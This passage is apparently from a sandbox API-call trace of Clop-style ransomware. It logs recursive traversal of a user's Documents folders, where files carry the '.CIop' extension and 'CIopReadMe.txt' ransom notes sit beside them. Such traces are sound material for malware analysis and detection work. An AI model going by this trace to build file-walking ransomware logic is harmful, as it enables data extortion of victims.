lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\" [0169.155] lstrcpyW (in: lpString1=0x2dc3178, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\" [0169.155] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*" [0169.155] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67ddb8 [0169.155] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD") returned="2pWzntbD" [0169.155] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="2pWzntbD" | out: lpString1="2pWzntbD") returned="2pWzntbD" [0169.155] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.155] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.155] lstrcmpW (lpString1="51gZ9cs6QyQwB.xlsx.CIop", lpString2="..") returned 1 [0169.155] lstrcmpW (lpString1="51gZ9cs6QyQwB.xlsx.CIop", lpString2=".") returned 1 [0169.155] lstrlenW (lpString=".CIop") returned 5 [0169.155] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.155] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0169.155] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0169.155] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.155] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.155] lstrcmpW (lpString1="FMVnxBVv7u9Rp.docx.CIop", lpString2="..") returned 1 [0169.155] lstrcmpW (lpString1="FMVnxBVv7u9Rp.docx.CIop", lpString2=".") returned 1 [0169.155] lstrlenW (lpString=".CIop") returned 5 [0169.155] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.155] lstrcmpW (lpString1="ttYeA5K8BN5b.ppt.CIop", lpString2="..") returned 1 [0169.155] lstrcmpW (lpString1="ttYeA5K8BN5b.ppt.CIop", lpString2=".") returned 1 [0169.156] lstrlenW (lpString=".CIop") returned 5 [0169.156] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0169.156] FindClose (in: hFindFile=0x67ddb8 | out: hFindFile=0x67ddb8) returned 1 [0169.156] FindClose (in: hFindFile=0x67ddb8 | out: hFindFile=0x67ddb8) returned 0 [0169.156] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD" [0169.156] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*" [0169.156] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67dd78 [0169.156] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD") returned="2pWzntbD" [0169.156] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="2pWzntbD" | out: lpString1="2pWzntbD") returned="2pWzntbD" [0169.156] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.156] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.156] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.156] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.156] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.156] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.156] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0169.156] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 1 [0169.156] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 0 [0169.156] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.156] lstrcmpW (lpString1="7Hk2Lc8bYx_mxaoZre", lpString2="..") returned 1 [0169.156] lstrcmpW (lpString1="7Hk2Lc8bYx_mxaoZre", lpString2=".") returned 1 [0169.156] lstrcpyW (in: lpString1=0x2dc49a0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" [0169.156] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" [0169.156] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\", lpString2="7Hk2Lc8bYx_mxaoZre" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre" [0169.156] SetErrorMode (uMode=0x1) returned 0x1 [0169.156] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre" [0169.156] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" [0169.157] lstrcpyW (in: lpString1=0x2dc3178, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" [0169.157] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*" [0169.157] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67db78 [0169.157] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre") returned="7Hk2Lc8bYx_mxaoZre" [0169.157] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="7Hk2Lc8bYx_mxaoZre" | out: lpString1="7Hk2Lc8bYx_mxaoZre") returned="7Hk2Lc8bYx_mxaoZre" [0169.157] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.157] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.157] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0169.157] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0169.157] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.157] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.157] lstrcmpW (lpString1="r873fj.xls.CIop", lpString2="..") returned 1 [0169.157] lstrcmpW (lpString1="r873fj.xls.CIop", lpString2=".") returned 1 [0169.157] lstrlenW (lpString=".CIop") returned 5 [0169.157] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.157] lstrcmpW (lpString1="s9_oB4RJJAVSDjPCS.pdf.CIop", lpString2="..") returned 1 [0169.157] lstrcmpW (lpString1="s9_oB4RJJAVSDjPCS.pdf.CIop", lpString2=".") returned 1 [0169.157] lstrlenW (lpString=".CIop") returned 5 [0169.157] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.157] lstrcmpW (lpString1="UmcQX7d.pptx.CIop", lpString2="..") returned 1 [0169.157] lstrcmpW (lpString1="UmcQX7d.pptx.CIop", lpString2=".") returned 1 [0169.157] lstrlenW (lpString=".CIop") returned 5 [0169.157] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.157] lstrcmpW (lpString1="XJ2OD9lQq0BG.docx.CIop", lpString2="..") returned 1 [0169.157] lstrcmpW (lpString1="XJ2OD9lQq0BG.docx.CIop", lpString2=".") returned 1 [0169.157] lstrlenW (lpString=".CIop") returned 5 [0169.157] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0169.157] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 1 [0169.157] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 0 [0169.157] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre" [0169.157] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*" [0169.157] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67db78 [0169.157] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre") returned="7Hk2Lc8bYx_mxaoZre" [0169.157] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="7Hk2Lc8bYx_mxaoZre" | out: lpString1="7Hk2Lc8bYx_mxaoZre") returned="7Hk2Lc8bYx_mxaoZre" [0169.158] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.158] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.158] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.158] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.158] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.158] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.158] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.158] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0169.158] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 1 [0169.158] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 0 [0169.158] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.158] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.158] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.158] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0169.158] FindClose (in: hFindFile=0x67de38 | out: hFindFile=0x67de38) returned 1 [0169.158] FindClose (in: hFindFile=0x67de38 | out: hFindFile=0x67de38) returned 0 [0169.158] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0169.158] lstrcmpW (lpString1="1gqxJ7phl", lpString2="..") returned 1 [0169.158] lstrcmpW (lpString1="1gqxJ7phl", lpString2=".") returned 1 [0169.158] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0169.158] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0169.158] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="1gqxJ7phl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl" [0169.158] SetErrorMode (uMode=0x1) returned 0x1 [0169.158] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl" [0169.158] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\" [0169.158] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\" [0169.158] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*" [0169.158] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67dd78 [0169.159] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl") returned="1gqxJ7phl" [0169.159] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="1gqxJ7phl" | out: lpString1="1gqxJ7phl") returned="1gqxJ7phl" [0169.159] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.159] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.159] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0169.159] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0169.159] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.159] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.159] lstrcmpW (lpString1="LJ2-ZSo63V_7d.xlsx.CIop", lpString2="..") returned 1 [0169.159] lstrcmpW (lpString1="LJ2-ZSo63V_7d.xlsx.CIop", lpString2=".") returned 1 [0169.159] lstrlenW (lpString=".CIop") returned 5 [0169.159] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.159] lstrcmpW (lpString1="pdKaXJhzd7zYz7o.doc.CIop", lpString2="..") returned 1 [0169.159] lstrcmpW (lpString1="pdKaXJhzd7zYz7o.doc.CIop", lpString2=".") returned 1 [0169.159] lstrlenW (lpString=".CIop") returned 5 [0169.159] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0169.159] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 1 [0169.159] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 0 [0169.159] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl" [0169.159] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*" [0169.159] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67dd78 [0169.159] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl") returned="1gqxJ7phl" [0169.159] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="1gqxJ7phl" | out: lpString1="1gqxJ7phl") returned="1gqxJ7phl" [0169.159] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.159] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.159] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.159] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.159] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.159] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0169.159] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 1 [0169.160] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 0 [0169.160] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0169.160] lstrcmpW (lpString1="4cjd3SaCmW1", lpString2="..") returned 1 [0169.160] lstrcmpW (lpString1="4cjd3SaCmW1", lpString2=".") returned 1 [0169.160] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0169.160] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0169.160] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="4cjd3SaCmW1" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1" [0169.160] SetErrorMode (uMode=0x1) returned 0x1 [0169.160] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1" [0169.160] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1", lpString2="\\" | out: 